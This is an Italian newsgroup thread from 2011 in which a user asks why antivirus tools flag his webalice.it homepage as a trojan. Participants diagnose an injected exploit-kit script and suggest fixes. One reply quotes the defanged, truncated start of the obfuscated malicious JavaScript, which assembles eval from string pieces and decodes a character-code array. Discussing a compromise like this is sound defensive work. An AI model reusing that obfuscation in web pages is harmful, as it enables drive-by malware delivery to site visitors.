Newsgroup: it.comp.os.win.windows7
Titolo: xchè la mia home page su Alice ha un trojan?

Ciao, mi sta succedendo una cosa strana. Nessuno in nessuna parte del
mondo può visionare questo link della mia pagina web perchè qualsiasi
antivirus la blocca dicendo che contiene un Trojan.
Eppure ho un abbonamento serio, con Alice della Telecom.
Ho provato a verificare se lo stesso Trojan sia nella cartella che
sull'hard disk dentro ma è tutto pulito e non si sono files infetti.
Perchè mi succede tutto questo?
Posso risolvere il mio problema? Grazie per le gradite info.
Il link della mia home page:
http://www.webalice.it/poturu/
 


Ciao, ho dato un'occhiata veloce alla tua pagina, ma Avira 10.2.x Free 
non rileva niente di strano.
Tu che Antivirus hai installato sul computer?
Ciao.


Come non detto.
Avira rileva: JS/iframe.HI
 
Sicuramente è un un codice non maligno che per Avira (come altri 
Antivirus), viene segnalato come codice dannoso.
Ciao.

 antivirus la blocca dicendo che contiene un Trojan.
 
MSE lo segnala come Exploit.JS/Blacole.G livello di attenzione grave
 
-- 
Fri(END), Boyfri(END), Girlfri(END), Bestfri(END). Everything has an END 
except...Fam(ILY)! It Has 3 Letters that say I LOVE YOU 
 

>MSE lo segnala come Exploit.JS/Blacole.G livello di attenzione grave
 
Sembra incredibile. A me segnalano da tutto il mondo che gli antivirus
blocca loro la pagina ed è impossibile accedere. Che dovrei fare?

 blocca loro la pagina ed è impossibile accedere. Che dovrei fare?
 
boh, a me Avira, appena aggiornato di proposito, non mi segnala nulla e mi 
fa navigare tutto il sito zero problemi!
Mozilla 7.0 1 
 
 


Per KAV2012 è
Trojan-Downloader.JS.Agent.gjd
 
c'è qualcosa di sicuro nella pagina che hai caricato sul server...

Scriveva st....@NOSPAMkatamail.com martedì, 08/11/2011:

ecco un nuovo metodo per diffondere trojan a scapito
dei boccaloni, che accorrono ansiosi......
bischeri.
 
 

 Eppure ho un abbonamento serio, con Alice della Telecom.
 
Ecco.. l'ho sempre detto che Alice era una gran troja(n) 
 

 c'è qualcosa di sicuro nella pagina che hai caricato sul server...
 
Non c'è nulla.. alcuni antivirus semplicemente rilevano in programmi del 
tutto inoffensivi, parti di codice a cui anche i programmatori di virus, 
trojan & Co. a volte ricorrono per le loro creazioni...  tipo pezzi di 
codice per la creazioni o il trasferimento di file (magari qualche file 
contenente contenuto attivo della pagina web da salvare nella cartella 
temporanea o il trasferimento verso il server di file contenente 
informazioni appena inputate dall'utente.. tipo compilazione di qualche 
form) o metodi di crittografia (molto comune)
 
 

st....@NOSPAMkatamail.com <st....@NOSPAMkatamail.com> ha scritto:

Norton rileva un tentativo di intrusione (e non fa vedere la pagina)
Gravità: alto
Web Attack: Malicious Injected Javascript
 
Ciao geoNick
 
-- 
Per scrivermi clic qui:
http://www.mynewsgate.net/mp.php?u=4348
 
 

........ e se dovessi cancellare tutti i files nel sito e rimetterli
di nuovo? Cosa ne pensate?

 
 
Penso che sia una buona idea.
Ma hai pagine con script?


  Cosa ne pensate?
 
Vista la "qualita" del sito,direi che la situazione attuale e' la migliore,e 
non mi riferisco ai contenuti del sito...
 

 bischeri.
 
ecco un'altra occasione per tacere persa...
mai sentito parlare di macchine virtuali? tu che critichi tutti, offendi 
spesso e volentieri, sei pure capace di fare un post costruttivo?


 blocca loro la pagina ed è impossibile accedere. Che dovrei fare?
 
puo' essere un falso positivo, capita. piuttosto, chi ha fatto la pagina? se 
l'hai fatta tu e sei certo al 100% allora gli antivirus sbagliano (ma e' 
successo con antivirus diversi), se non l'hai fatta tu, e come penso c'e' 
contenuto attivo, puo' pure essere che il codice malevolo ci sia.


Il 08/11/2011, st....@NOSPAMkatamail.com ha detto :

Impossibile fornire l'URL richiesta
 
L'oggetto richiesto all'URL:
 
http://www.webalice.it/poturu/
 
 
Minacce rilevate:
 
oggetto infetto Trojan-Downloader.JS.Agent.gjd
 
*KIS11*
 
-- 
[Draka]
"La vecchiaia non regala saggezza ma sordità".
W.Allen
 
 

 Mozilla 7.0 1
 
Hai anche la webgard di avira installata?
 
Io provo senza quella ed è ok ma con la webgard mi blocca la pagina.
 
 
-- 
Dott.G

 
"Dott.G" <giamp...@VADERETROSANTANAyahoo.it> ha scritto nel messaggio 
news:j9ce5s$qjk$1...@speranza.aioe.org...

ehm no, ho avira gratuito! 
 
 

 malevolo ci sia.
 
Perché se ha realizzato la pagina lui non puň venire infettata dopo con 
l'inserimento di codice malevolo? :)
 
 
-- 
glm2006ITALY
 
My web site: 
http://www.webepc.it
 
 
My blog:     
http://glm2006italy.blogspot.com/
 


Allora, l' antivirus scatta a anche  a me.... ed ho notato parecchi 
frame  nella pagina....
 
Qualche consiglio:
A) comprati un dominio.... non credo che  15€ all'anno mandino in crisi 
nessuno  ed avere un proprio dominio SCOLLEGATO da webalice  aiuta 
soltanto...
 
B) Elimina TUTTI i frame e gli javascript presenti nella home 
(personalmente  l'antivirus "scatta" solo nella pagina di benvenuto...)
 
C) Il sito è un poco caotico ed  il codice.... beh lasciamo perdere :)
 
Ci vorrebbe un bel restyling con una struttura meglio navigabile... ma 
questo non c'entra NULLA con la presunta infezione


Il 08/11/2011 16:31, st....@NOSPAMkatamail.com ha scritto:

http://sucuri.net/malware/malware-entry-mwjs159
 
 
Ecco la "bestiola" che stai ospitando
http://sitecheck.sucuri.net/scanner/
 
 
Questo servizio l'ha "scovata" :)


 
 
Infettata da chi? dal server che ospita le pagine web? Cioè webalice?
Spiega, per favore.


 Ciao geoNick
 
Molto probabilmente non è un attacco "mirato" verso QUEL sito
 
Questo è il server dove è ospitato:
Hostname: 
www.webalice.it
 
IP address: 62.211.68.44
 
Come tutti i servizi di hosting gratuiti / economici è "condiviso" cioè 
sullo stesso server "girano" diversi siti web.
 
Se detto server venisse "bucato" può capitare che molti siti web vengano 
infettati...
 
Mi è capitato un caso con un mio cliente il quale aveva il sito web su 
un server "a fine vita".
 
A poche settimane dallo spostamento verso il nuovo questo vecchio server 
è stato bucato e TUTTI i file index erano stato sostituiti da una 
simpatica schermata con tanto di simbolo piratesco ^_^


 ehm no, ho avira gratuito!
 
Anche io, scarica il file della versione free dal sito ed installala.
A volte il download di avira, non funziona bene e non trova gli 
aggiornamenti importanti.
 
 
-- 
Dott.G

 Spiega, per favore.
 
Può succedere dipende che un attacco fatto ad un server o ad sito web 
preciso, sfruttando delle vulnerabilità.
 
In genere capita ai CMS (Joomla, WordPress etc) che non vengono 
aggiornati o che usano componenti, moduli, plug-in con delle 
vulnerabilità o che non vengono aggiornati dopo che sono state scoperte 
le vulnerabilità.
 
Nel caso del sito dell'OP, non basato su CMS ma presumo su HTML normale
(o forse qualche linguaggio più avanzato come PHP, non ho avuto modo di 
verificare), la cosa è forse più difficile e se avviene è probabile che 
sia stata fatta a livello di Server (cioè sfruttando una vulnerabilità 
del server e non delle pagine del sito stesso).
 
 
 
 
-- 
Daniele Pinna
DAPINNA.COM
 
(leva oops per rispondere)
-----
Utente Skype: dapinna
DAPINNA.COM
        :  
http://www.dapinna.com
 
Il Docfa in Pillole:  
http://www.ildocfainpillole.it
 - Sito Aggiornato!!!
DAPINNA.COM
 su Facebook: 
www.facebook.com/pages/Sassari-Italy/DAPINNACOM/110085322371199
 
 

 simpatica schermata con tanto di simbolo piratesco ^_^
 
Tempo fa è capitato anche a me su un Hosting Linux dedicato a Joomla.
Un bug probabilmente dovuto a "Plesk" il sistema con cui l'hosting 
gestiva la suddivisione e configurazione dei vari spazi web.
 
Tutti i Server del provider attaccati (migliaia di siti web)
con index.php "riscritta" e i file logo*.* cancellati.
 
l'Hosting ha sempre negato le sue responsabilità e NON ha ripristinato i 
siti web dai BackUp giornalieri che "diceva" di fare.
 
Ovviamente ho spostato tutti i siti che avevo li (all'epoca 6 o 7) 
presso un altro hosting più serio.
 
Nota: Hosting linux, ma la colpa non è tanto di "linux" quando del 
software web usato per gestire i vari domini (una vecchia versione di 
Plesk evidentemente con delle vulnerabilità)


 questo non c'entra NULLA con la presunta infezione
 
Mi permetto di consigliare di passare il tutto a un CMS come Joomla,
Drupal, Word Press (sono tutti ovviamente FREE e OpenSource).
 
Io consiglio Joomla (ma solo perché lo uso e lo conosco bene) e 
ovviamente il sito 
www.joomla.it
 con tante guide e un ottimo forum di 
supporto.


 l'inserimento di codice malevolo? :)
 
ovviamente si :)


 supporto.
 
Ed io invece lo sconsiglio vivamente!
 
CMS possono portare anche notevoli "grattacapi" a coloro che "non ne 
masticano" :)


 Forse ti può essere utile sapere che viene segnalato anche a me che c'è qualcosa che non va ,solo da google chrome mentre con firefox viene segnalata solo la mancanza di un plugin ma me la fa vedere...ti dico ciò perchè io non uso nessun amìntivirus,quindi vedi un pò tu...
 


brrr...mancanza di un plugin....a volte i virus danno errori 
fasulli...siamo sicuri sia un falso positivo??

 di nuovo? Cosa ne pensate?
 
Hai un contatore accessi gratuito? Sul sito di un'amica risulto' fosse 
quello che causava un problema simile al tuo.

mb ha scritto:

No, lì c'è proprio robaccia, uno script offuscato.
No, non l'ho decodificato tutto, ma basta il metodo.
 
Segue inizio del codice, modificato per non far scattare (spero)
qualche antivirus troppo zelante:
--------------------------------------------------------------------------
Obj-ect().wehweh();}cat-ch(q){ss="";}tr-y{win-dow['e'+'v'+'al']('as-das')}
cat-ch(q){s=Stri-ng["fr"+"omC"+m+"od"+'e'];}d=new Date();d2=new
Date(d.valueOf()-2);Obje-ct.proto-type.asd='e';if({}.asd==='e')a=document[
"c"+"r"+"e"+"a"+"t"+"e"+"T"+"e"+"x"+"t"+"N"+"o"+"d"+"e"]('321');if(a.data=
=321)h=-1*(d-d2);n=[-h+7,-h+7,-h+103,-h+100,-h+30,-h+38,-h+98,-h+109,-h+97
,-h+115,-h+107,-h+99,-h+108,-h+114,-h+44,-h+101,-h+99,-h+114,-h+67,-h+106,
-h+99,-h+107,-h+99,-h+108,-h+114,-h+113,-h+64,-h+119,-h+82,-h+95,-h+101,
--------------------------------------------------------------------------
 
 
 
-- 
           |Save our planet!
    Ciao   |Save wildlife!
   roberto |For your E-MAIL use ONLY recycled Bytes  !!
           |roberto poggi   
rpo...@softhome.net
 

 masticano" :)
 
Be ovviamente andrebbe prima studiato in locale... :-)
o anche rivolgersi a qualcuno che realizza siti web con CMS.
 
Ma se uno ha avuto le capacità di crearsi la paginetta in HTML e 
caricarla su uno spazio web, dovrebbe avere le capacità per imparare 
qualcosa di più "avanzato" ma anche più "semplice" da aggiornare.


> dico ciò perchè io non uso nessun amìntivirus,quindi vedi un pò tu...
 
Spero, per te, che tu sia su Linux :-)



 
uso anche linux ma sono quasi 2 anni che uso win7 64bit senza 
antivirus...senza problemi,credo che basti un pò di buon senso e
una buona conoscenza del sistema operativo

 una buona conoscenza del sistema operativo
 
Il buon senso serve anche con l'antivirus, dato che i miei clienti con 
AV ogni tanto si beccano cmq qualche bestiolina.
 
Io mi ritengo abbastanza esperto, uso il buon senso, conosco bene i 
sistemi operativi Windows (mi occupo di assistenza informatica) ma non 
navigo senza AV, se sono in Windows :-)
 
E' vero che normalmente con il buon senso non corro rischi...
ma personalmente preferisco non rischiare :-)


 
"Dott.G" <giamp...@VADERETROSANTANAyahoo.it> ha scritto nel messaggio 
news:j9dgkf$3b0$1...@speranza.aioe.org...

fatto, tutto aggiornato ad oggi (avira 10.2), e continua a nn darmi nessun 
allarme! mah non so se essere contento o preoccupato :D!
Che sia Mozilla che blocca qualcosa? 
 
 

 una buona conoscenza del sistema operativo
 
Scusa e che "buon senso" sarebbe?
 
Vado su un sito che  ritengo assolutamente affidabile, è stato "bucato" 
e contiene codice malevolo che , se non debitamente bloccato da  un 
antivirus, scarica chissà quale robaccia sul pc .....
 
Esempio, il sito *
www.apcd.it
*  che conosco da anni è stato infettato e 
l'antivirus rileva immediatamente  il tentativo di intrusione e 
"blocca/ripulisce"
 
Se tu visitassi il sito cosa ti capiterebbe?



Bè ritengo che i broswer moderni (firefox7,chrome ma anche 
explorer9)facciano un buon lavoro ne è dimostrazione questo 
post....quindi non vedo il problema...

 non vedo il problema...
 
ah bhè, i browser fanno esattamente ciò che gli viene chiesto dal codice che 
scaricano dal server, se il codice è malevolo lo eseguono...
credo che tu non abbia ben chiaro il concetto di "sicurezza".



Ok allora secondo te gli antivirus risolvono i problemi di sicurezza??
uso il pc da parecchi anni (da win3.1 in poi) ho usato regolarmante gli 
antivirus e almeno un paio di volte all'anno reistallavo il sistema 
operativo ..come dicevo è da + di un anno che ho deciso di farne a meno 
(dei software di sicurezza)ma non è cambiato assolutamente nulla ,anzi !
quindi non mi venire che non ho ben chiaro il concetto di sicurezza solo 
perchè non uso le schifezze di avast o avira ecc..cercando di motivare 
con spiegazioni pseudo informatiche ....ci sono altri modi di usare il 
pc in sicurezza...e ,secondo me ,lo sai anche tu

 pc in sicurezza...e ,secondo me ,lo sai anche tu
 
Senza AV?
Ne conosco uno solo... Linux :-)))


 Ok allora secondo te gli antivirus risolvono i problemi di sicurezza??
 
No.
La definizione esatta è:
 
Contribuiscono a risolvere i problemi di sicurezza.


 Non è cambiato nulla, cioè reinstalli ancora 2 volte l'anno?
  no non l'ho + reistallato neanche una volta (win7 64 )
Ovviamente sto parlando del mio pc di casa del quale faccio uso molto 
ludico (multimediale video audio scheda tv peer to peer ecc.)
comunque vi posso assicurare che nojn ho schifezze e che è perfetto..è 
vero che non uso antivirus ma ogni tanto (quando vedo qualsiasi finestra 
strana su mozilla )faccio girare mbam (che comunque non è un antivirus 
)faccio solo questo ,non uso emule (solo µTorrent )non chatto non 
scarico codec strani da pseudo siti di streaming...ripeto ho ancora un 
pc perfetto...e comunque se vi sembra cosi' assurdo non so proprio cosa 
farci

 sicurezza...e ,secondo me ,lo sai anche tu
 
è vero ma.... abbiamo visto come un normale sito web, ove l'owner del 
medesimo arcisicuro di non aver niente di malevolo sulla sua home page, si 
trova invece del codice che non ci dovrebbe essere (il colpo di sonno 
insomma....)
 
poi per carità. ognuno è libero di pensare come vuole e non sarò certo io a 
cercare di cambiarlo. Io pur mantenendo un libello di guardia alto, mantengo 
anche l'antivirus che mi aiuta ad aiutarmi.


Solo per informare. Ho cancellato tutto della mia home page nello
spazio web. Poi ho rimesso dentro tutti i files e come d'incanto ora
va tutto bene. Nessun antivirus ora mi segnala qualcosa di infetto.
Questi sono i misteri del web!! ;)


Quale mistero?
 
Probabilmente ti avevano infettato il sito modificando qualche file, 
ripristinando una copia di backup "sana" ovviamente risolvi.
 
Se Telecom ti desse la possibilità (dubito.....) fatti cambiare pass. 
FTP.... magari in questo caso non c'entra nulla ma è una sicurezza  in 
più....
